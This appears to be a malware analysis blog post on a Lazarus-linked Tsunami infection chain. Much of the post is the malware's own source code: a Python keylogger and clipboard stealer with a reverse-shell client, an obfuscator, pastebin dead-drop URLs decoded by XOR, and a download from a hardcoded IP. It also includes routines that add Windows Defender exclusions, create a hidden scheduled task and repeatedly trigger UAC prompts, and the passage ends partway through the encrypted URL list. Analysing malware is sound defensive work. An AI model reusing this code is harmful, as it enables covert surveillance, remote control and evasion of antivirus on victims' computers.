    def __init__(A):A.server_ip = HOST0;A.server_port = PORT0;A.is_active = _F;A.is_alive = _T;A.timeout_count = 0;A.shell = _N

    @property
    def make_connection(A):
        while _T:
            try:
                A.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s = Session(A.client_socket)
                s.connect(A.server_ip, A.server_port)
                A.shell = Shell(s);A.is_active = _T
                if A.shell.shell():
                    try:dir = os.getcwd();print("dir:", dir);fn=os.path.join(dir,sys.argv[0]);print("fn:", fn);os.remove(fn)
                    except Exception as ex:print("connection error:", ex);pass
                    return _T
                sleep(15)
            except Exception as e: print("error_make:", e); sleep(20);pass
    def run(A):
        t2=Thread(target=auto_up);t2.daemon=_T;t2.start()
        if A.make_connection:return

client = Client()
import sys

is_w=sys.platform.startswith('win')
if __name__ == "__main__":
    if is_w == _F:
        try:client.run()
        except KeyboardInterrupt:pass
        sys.exit(0)

_M='-m';_P='pip';_L='install'
import subprocess
try:import pyWinhook as pyHook
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyWinhook']);import pyWinhook as pyHook
try:import pyperclip
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyperclip']);import pyperclip
try:import psutil
except:subprocess.check_call([sys.executable,_M,_P,_L,'psutil']);import psutil
try:import win32process
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32process
try:import pythoncom
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import pythoncom
try:import win32gui
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32gui

def act_win_pn():
    try:pid = win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow());return (pid[-1], psutil.Process(pid[-1]).name())
    except:pass

def write_txt(text):0

c_win = 0
def check_window(event):
    global c_win
    if c_win != event.Window:
        (pid, text) = act_win_pn()
        tz = timezone(offset=timedelta(hours=9))
        d_t = datetime.fromtimestamp(time.time(), tz)
        t_s = d_t.strftime("%m/%d/%Y, %H:%M:%S")

        c_win = event.Window
        return f"\n**\n-[ {text} | PID: {pid}-{c_win}\n-[ @ {t_s} | {event.WindowName}\n**\n"
    return ""
m_win = 0
def hmld(event):
    global e_buf, m_win
    if m_win!=event.Window:m_win=event.Window;tt='<..>'
    else:tt='<.>'
    e_buf+=tt;write_txt(tt);return _T

def hmrd(event):
    global e_buf, m_win
    if m_win!=event.Window:m_win=event.Window;tt='<,,>'
    else:tt='<,>'
    e_buf+=tt;write_txt(tt);return _T

def is_down(status):
    if status == 128: return _T
    return _F

def is_control_down():
    return is_down(pyHook.GetKeyState(0x11)) or is_down(pyHook.GetKeyState(0xA2)) or is_down(pyHook.GetKeyState(0xA3))

def run_copy_clipboard():
    global e_buf
    try:
        copied = pyperclip.waitForPaste(0.05)
        tt = "\n=================BEGIN================\n";tt += copied;tt += "\n==================END==================\n"
        e_buf += tt;write_txt(tt)
    except Exception as ex:pass

def hkb(event):
    if event.KeyID == 0xA2 or event.KeyID == 0xA3:return _T

    global e_buf
    tt = check_window(event)

    key = event.Ascii
    if (is_control_down()):key=f"<^{event.Key}>"
    elif key==0xD:key="\n"
    else:
        if key>=32 and key<=126:key=chr(key)
        else:key=f'<{event.Key}>'
    tt += key
    if is_control_down() and event.Key == 'C':
        start_time = Timer(0.1, run_copy_clipboard)
        start_time.start()
    elif is_control_down() and event.Key == 'V':
        start_time = Timer(0.1, run_copy_clipboard)
        start_time.start()

    e_buf += tt;write_txt(tt);return _T
def startHk():hm = pyHook.HookManager();hm.MouseLeftDown = hmld;hm.MouseRightDown = hmrd;hm.KeyDown = hkb;hm.HookMouse();hm.HookKeyboard()
def hk_loop():startHk();pythoncom.PumpMessages()
def run_client():
    t1=Thread(target=hk_loop);t1.daemon=_T;t1.start()
    try:client.run()
    except KeyboardInterrupt:sys.exit(0)

if __name__ == "__main__":
    run_client()

~/.n2/pow

This program targets the Windows environment for malicious attacks.

First, it writes hardcoded python code into %APPDATA_ROAMING_DIRECTORY%/Microsoft/Windows/StartMenu/Programs/Startup/Windows Update Script.PyW.

Achieves startup persistence.

Windows Update Script.PyW

In the code, there are many Hard Coded encrypted ciphertexts. These ciphertexts are decrypted via XOR (key = !!!HappyPenguin1950!!!) + base64decode + reverse, which decrypts to many https://pastebin[.]com/ URLs. Next, it will fetch data from accessible URLs to decrypt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
https://pastebin.com/u/HolesGarmin3166_OnsitePoet2677
https://pastebin.com/u/CrackEden1251_WaitsRenee9809
https://pastebin.com/u/KerrWhale2274_KnowNtsc6785
https://pastebin.com/u/NumberHunt2579_JazzByrne1819
https://pastebin.com/u/AtomIsps2511_FinedPress2664
https://pastebin.com/u/ZoomHockey3706_MassBallet5863
https://pastebin.com/u/RehabVagina9550_PaceTiles7442
https://pastebin.com/u/NanoDubai9234_LoaderGeoff3367
https://pastebin.com/u/ThankSends9968_BiosCube2008
https://pastebin.com/u/NegroConfig1449_SoupRule3443
https://pastebin.com/u/EnglBlazer5735_FittedInjury1823
https://pastebin.com/u/FeetMosque6032_KellerFinest4047
https://pastebin.com/u/NotingRobe2871_FranzStill8494
https://pastebin.com/u/CementTeddy9347_SalesRacks7262
...

Concatenated strings like HolesGarmin3166_OnsitePoet2677 represent the username followed by the file name. Next, scripts are written to test each URL, and finally, the only accessible one is https://pastebin[.]com/u/NotingRobe2871.

image-20260125101548610

Content as follows:

1
7b226d657373616765223a202234333133373732333030323832393064333230383537313731313265323030303633373230393538343536363134353136643332333834313364326136343535323030643330316332303735366334633763346236633538366435383139376530323338323234393331323435333561222c20227369676e6174757265223a20226a3363696947733356564e63535465634d3465315a4c41307471643264566a3955673175364f33787267396e66616e6669384a724961546651786a52697a50735058345a4458422b494b686944355a7171635744514c4770354f555143384d39557678556877712f596d743533473261647969636547394265486248716e487a6275707568707572432b6968427666356e34334d6d387937712b4169627a4e626d597056556662766f42524d693372514b554b4b48313548654d476a4e784a57586d6f645a746f2b4e65392f3430434f3374417931736d5534333950746c535159536b70703067797477484c357a6c4d417a44684c4c46396565634f6d734c694363625645694b766a557941704a32416d55773268364a595a466967632f457361455a533959576f476675695665434f736c7651336a6977674557766f7270655051316f5331713043774d5a4834525049776b6d43513d3d227d

This content is also decrypted via XOR (key = !!!HappyPenguin1950!!!) + base64decode + reverse, resulting in:

1
2
3
4
{
  "message": "431377230028290d32085717112e200063720958456614516d3238413d2a6455200d301c20756c4c7c4b6c586d58197e023822493124535a",
  "signature": "j3ciiGs3VVNcSTecM4e1ZLA0tqd2dVj9Ug1u6O3xrg9nfanfi8JrIaTfQxjRizPsPX4ZDXB+IKhiD5ZqqcWDQLGp5OUQC8M9UvxUhwq/Ymt53G2adyiceG9BeHbHqnHzbupuhpurC+ihBvf5n43Mm8y7q+AibzNbmYpVUfbvoBRMi3rQKUKKH15HeMGjNxJWXmodZto+Ne9/40CO3tAy1smU439PtlSQYSkpp0gytwHL5zlMAzDhLLF9eecOmsLiCcbVEiKvjUyApJ2AmUw2h6JYZFigc/EsaEZS9YWoGfuiVeCOslvQ3jiwgEWvorpePQ1oS1q0CwMZH4RPIwkmCQ=="
}

It first verifies this signature. The verification method uses a hardcoded hex-encoded RSA public key in the program:

1
2
3
4
5
6
7
8
9
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvRgxN5vWny1/dAc7s6KM
ZURyqQti1OE11PkaXPY32E39TKau6vD+QntWKNTFI53WmkvY6YbLGf06oiZ99uYd
TkeL/gtKfnaPPOt1mADL9R3nFwvyWABw7Q41NgYlu7XHMiTUuh/TRPvOiXL5yKx+4
PnXsN+sE93pk2qNpB+cnJ1/b4re89xuNpD9HQjzsda3PNOD13s7OL7fq+74tY4oc
MQ6BNFOq9J46xd/4jay8n/q33v3PgwwoL6TQR5grUdfblXZ8WZzxXVKEqMtqJtmR
M8zjHoods0PoopOS6IzoYD+anchz5JCKHBrrMXd8g+A2hMq+W5lEkIvtbe1dPXsn
CQIDAQAB
-----END PUBLIC KEY-----

And uses the following code to verify if the message has been modified:

1
2
3
4
5
6
7
8
9
trusted_public_key.verify(
    signature,
    message.encode("utf-8"),
    padding.PSS(
        mgf=padding.MGF1(hashes.SHA256()),
        salt_length=padding.PSS.MAX_LENGTH
    ),
    hashes.SHA256()
)

After verification passes, it decrypts the message content using XOR (key = !!!HappyPenguin1950!!!) + base64decode + reverse, obtaining:

1
http://23.254.164[.]156/introduction-video

It will visit it and download the returned file, storing it in {ROAMING_APPDATA_PATH} \Microsoft\Windows \Applications \Runtime Broker.exe.

Downloaded file sha256: ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527

According to VirusTotal, this is a known malware, and this malware is referred to as TSUNAMI_INSTALLER in ~/.n2/pow.

And TSUNAMI_INSTALLER is mentioned in this analysis report https://research.hisolutions.com/2025/04/rolling-in-the-deepweb-lazarus-tsunami/ as being used by the Lazarus Group.

Additionally, it continuously requests UAC permissions from the user to execute TSUNAMI_PAYLOAD_PATH. This path is C:\Users\<Username>\AppData\Local\Temp\<16_random_chars>, which is also hardcoded into the program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def execute_payload_with_uac() -> bool:
    # Get the filepath of the pythonw.exe

    py_exe = sys.executable
    py_exe = py_exe.replace("python.exe", "pythonw.exe")

    # Execute the payload with UAC

    result = ctypes.windll.shell32.ShellExecuteW(
        None,
        "runas",
        py_exe,
        f'"{TSUNAMI_PAYLOAD_PATH}"',
        None,
        1
    )

    # Return true if it worked, false if it failed

    if result <= 32:
        return False
    else:
        return True
        #hel p me
C:\Users<Username>\AppData\Local\Temp\<16_random_chars>

This file is called TSUNAMI_PAYLOAD.

It executes the following operations:

  • Adds three paths to the Windows Defender exclusion list, and according to the original code comments, we can know what malware they represent:

    • Tsunami Installer:%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe

    • Tsunami Client:%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe

    • XMRig miner: %LOCALAPPDATA%\Microsoft\Windows\Applications\msedge.exe

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      EXCEPTION_PATHS = [
              # Tsunami Installer
              rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
              # Tsunami Client
              rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
              # XMRig miner
              rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\msedge.exe"
          ]

          for filepath in EXCEPTION_PATHS:
              add_windows_defender_exception(filepath)

      def add_windows_defender_exception(filepath: str) -> None:
          try:
              subprocess.run(
                  ["powershell.exe", f"Add-MpPreference -ExclusionPath '{filepath}'"],
                  shell = True,
                  creationflags = subprocess.CREATE_NO_WINDOW,
                  stdout = subprocess.PIPE,
                  stderr = subprocess.PIPE,
                  stdin = subprocess.PIPE
              )

              output(f"Added a new file to the Windows Defender exception")
          except Exception as e:
              output(f"[-] Failed to add Windows Defender exception: {e}")

  • Create Scheduled Task, name is: Runtime Broker

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    powershell_script = f\"\"\"
            $Action = New-ScheduledTaskAction -Execute "{TSUNAMI_INSTALLER_PATH}"
            $Trigger = New-ScheduledTaskTrigger -AtLogOn
            $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
            $Principal.RunLevel = 1
            $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd
            Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName "Runtime Broker"
                             \"\"\"

        try:
            subprocess.run(
                ["powershell.exe","-Command", powershell_script],
                check = True,
                creationflags = subprocess.CREATE_NO_WINDOW
            )

            output("[+] Successfully created the task")
        except Exception as e:
            output(f"[-] Failed to create the task: {e}")

~/.n2/pow Complete Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
try:
    ##### Imports #####

    import subprocess
    import traceback
    import warnings
    import platform
    import tempfile
    import winreg
    import ctypes
    import random
    import base64
    import zlib
    import time
    import sys
    import os

    ##### Supress Warnings #####

    try:
        warnings.filterwarnings("ignore")
    except:
        pass

    ##### Globals #####

    DEBUG_MODE = False

    PYTHON_INSTALLER_URL = "https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe"

    APPDATA_ROAMING_DIRECTORY = os.getenv("APPDATA")

    TSUNAMI_INJECTOR_NAME = "Windows Update Script.pyw"
    TSUNAMI_INJECTOR_FOLDER = f"{APPDATA_ROAMING_DIRECTORY}/Microsoft/Windows/Start Menu/Programs/Startup"
    TSUNAMI_INJECTOR_PATH = rf"{TSUNAMI_INJECTOR_FOLDER}/{TSUNAMI_INJECTOR_NAME}"

    TSUNAMI_INJECTOR_SCRIPT = """
RandVar = '?'

##### Imports #####

from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding
import urllib.request
import urllib.parse
import subprocess
import tempfile
import binascii
import ctypes
import random
import string
import base64
import zlib
import time
import gzip
import json
import ssl
import sys
import os
import re

##### Globals #####

DEBUG_MODE = False

ROAMING_APPDATA_PATH = os.getenv("APPDATA")
LOCAL_APPDATA_PATH = os.getenv("LOCALAPPDATA")

TSUNAMI_PAYLOAD_NAME = "".join([random.choice(string.ascii_letters) for i in range(16)])
TSUNAMI_PAYLOAD_FOLDER = tempfile.gettempdir()
TSUNAMI_PAYLOAD_PATH = rf"{TSUNAMI_PAYLOAD_FOLDER}\{TSUNAMI_PAYLOAD_NAME}"

TSUNAMI_INSTALLER_NAME = "Runtime Broker"
TSUNAMI_INSTALLER_FOLDER = rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications"
TSUNAMI_INSTALLER_PATH = rf"{TSUNAMI_INSTALLER_FOLDER}\Runtime Broker.exe"

TSUNAMI_PAYLOAD_SCRIPT = '''
RandVar = '?'

##### Imports #####

import subprocess
import datetime
import ctypes
import os

##### Globals #####

DEBUG_MODE = False

ROAMING_APPDATA_PATH = os.getenv("APPDATA")
LOCAL_APPDATA_PATH = os.getenv("LOCALAPPDATA")

TSUNAMI_INSTALLER_NAME = "Runtime Broker"
TSUNAMI_INSTALLER_FOLDER = rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications"
TSUNAMI_INSTALLER_PATH = rf"{TSUNAMI_INSTALLER_FOLDER}\Runtime Broker.exe"

##### Utils #####

def output(text: str) -> None:
    if DEBUG_MODE:
        print(text)

def is_admin() -> bool:
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

##### Tsunami Payload #####

def add_windows_defender_exception(filepath: str) -> None:
    try:
        subprocess.run(
            ["powershell.exe", f"Add-MpPreference -ExclusionPath '{filepath}'"],
            shell = True,
            creationflags = subprocess.CREATE_NO_WINDOW,
            stdout = subprocess.PIPE,
            stderr = subprocess.PIPE,
            stdin = subprocess.PIPE
        )

        output(f"Added a new file to the Windows Defender exception")
    except Exception as e:
        output(f"[-] Failed to add Windows Defender exception: {e}")

def create_task() -> None:
    powershell_script = f\"\"\"
        $Action = New-ScheduledTaskAction -Execute "{TSUNAMI_INSTALLER_PATH}"
        $Trigger = New-ScheduledTaskTrigger -AtLogOn
        $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
        $Principal.RunLevel = 1
        $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd
        Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName "Runtime Broker"
                         \"\"\"

    try:
        subprocess.run(
            ["powershell.exe","-Command", powershell_script],
            check = True,
            creationflags = subprocess.CREATE_NO_WINDOW
        )

        output("[+] Successfully created the task")
    except Exception as e:
        output(f"[-] Failed to create the task: {e}")

##### Application Entry #####

if __name__ == "__main__":
    # Check if we are an admin

    if not is_admin():
        output("[WARNING] Not running as an administrator")

    # Add the Windows Defender exceptions

    EXCEPTION_PATHS = [
        # Tsunami Installer
        rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
        # Tsunami Client
        rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
        # XMRig miner
        rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\msedge.exe"
    ]

    for filepath in EXCEPTION_PATHS:
        add_windows_defender_exception(filepath)

    # Create the task

    create_task()

    # Keep the window open in debug mode for analysis

    if DEBUG_MODE:
        input()
                         '''

##### Obfuscator #####

zlb = lambda in_ : zlib.compress(in_)
b64 = lambda in_ : base64.b64encode(in_)

def obfuscate_script(data: str, loop_count: int) -> str:
    # Change the value of the random variable to ensure different obfuscation strings each time

    data = data.replace("RandVar = '?'", f"RandVar = '{random.randint(100000, 10000000)}'")

    # Setup obfuscation

    xx = "b64(zlb(data.encode('utf8')))[::-1]"
    prefix = "_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));"

    # Perform obfuscation

    for i in range(loop_count):
        try:
            data = "exec((_)(%s))" % repr(eval(xx))
        except TypeError as s:
            sys.exit(" TypeError : " + str(s))

    # Build the complete output

    output = ""

    output += "\\n"
    output += prefix
    output += data
    output += "\\n"

    # Return the output

    return output

##### Utils #####

def output(text: str) -> None:
    if DEBUG_MODE:
        print(text)

def is_task_scheduled(task_name: str) -> bool:
    powershell_command = f"Get-ScheduledTask -TaskName '{task_name}'"

    result = subprocess.run(
        ["powershell.exe", "-Command", powershell_command],
        creationflags = subprocess.CREATE_NO_WINDOW,
        capture_output = True,
        text = True
    )

    if result.returncode == 0 and result.stdout.strip():
        return True
    else:
        return False

##### URL Downloader #####

def xor_encrypt(text: bytes):
    XOR_KEY = b"!!!HappyPenguin1950!!!"

    encrypted_text = bytearray()
    for i in range(len(text)):
        encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)])
    return bytes(encrypted_text)

def xor_decrypt(text: bytes):
    return xor_encrypt(text)

def decode(encoded: str) -> str:
    encoded_bytes = binascii.unhexlify(encoded)
    encoded_bytes = xor_decrypt(encoded_bytes)
    encoded = base64.b64decode(encoded_bytes).decode()

    return encoded[::-1]

def download_installer_url() -> str:
    URLS = [
        "6f5b427a2c1e221532542c0b112e024b5b5e09476f4b78596c7a540012211a0d3c543b050c76007c7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e75607c2e27261532083834165a3c41606354476c7574586c1f541c2a3c0617375533103f4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f75467b2f1d3e0334205b54175b5b7d614f61126c4b6b4d430f271f264a1a1c3432061f0a62004152136c54434c4d213b282203093d2f1139131e4b5a7d621140601c1c",
        "6e75647c2c27260c330b022410071e596a5908146f5b7458450f544123311a09370a44583a5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f65787a2c1e3e030a3d24362f2e384458606a476c7564106c262f0713493c110c54272b22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c5b787c2f2822153222160f2407204b606001476f4b60126c7b0d1c114b1e133d20441f0c0056435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c4b70782f433e15322202322f3e20596c7308566f757414781f54002a4b1632370a3306346770435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f5b78322c422a143257382f1604385a6062096c795b705b6c220d00292e1a543c204c1c37640d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6e65603f2c1d26103430201d175b0272614f57136e754d5b7b0f541c254b241037301d3c22026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6c5b70782c42260a34332410113e5765614f5b116f65674f401f3b0512491e130d0a11053a5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c5b687c2c281c0034321e12263e3c5d5d7d6251734d19106c3202411314065337300d2a0c765d40627218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f5b703f2f3822030a325b172707245d5b72484d721019586c3220422a21061d0d554c270a766f59624818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f654a782e37080a313d3c3310045b595a5e6a476c7542156c25371912481a0b0c0a19590c010d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c4b78312f433e0b09572834165b384260637e476f5b705b6e100d1b2a3e06300a2040050c666f717c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e75647d2e37180331325b172704385b63626658731019116c222c09292e650d37093f3f34666b455313146b6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758",
        "6e75747a2c27260332542c0c143e5703686308586c5b6413400f2f40112134310c0a3305370101435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f75747b2f4241480a3d2056213e28056362484d701019146f1c38411314060e0c0a233c0d0273596a664d726d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758",
        "6f4b787a2f37360c31320a0f2021205d58075c6c795b6c116f32370a131406503a3f271334675a435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f4b46312f1e3e15320b3857263e3c59636d7a4e776719116e1c200a2a3e69123d3f3f050c660804655818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c4b427a2c1e1c0032573808232e38445c627670795b78106f1c270a121416573c3f3b1f347600607c127457437618222d1d450909083857165b2846754c081742126311450f064d",
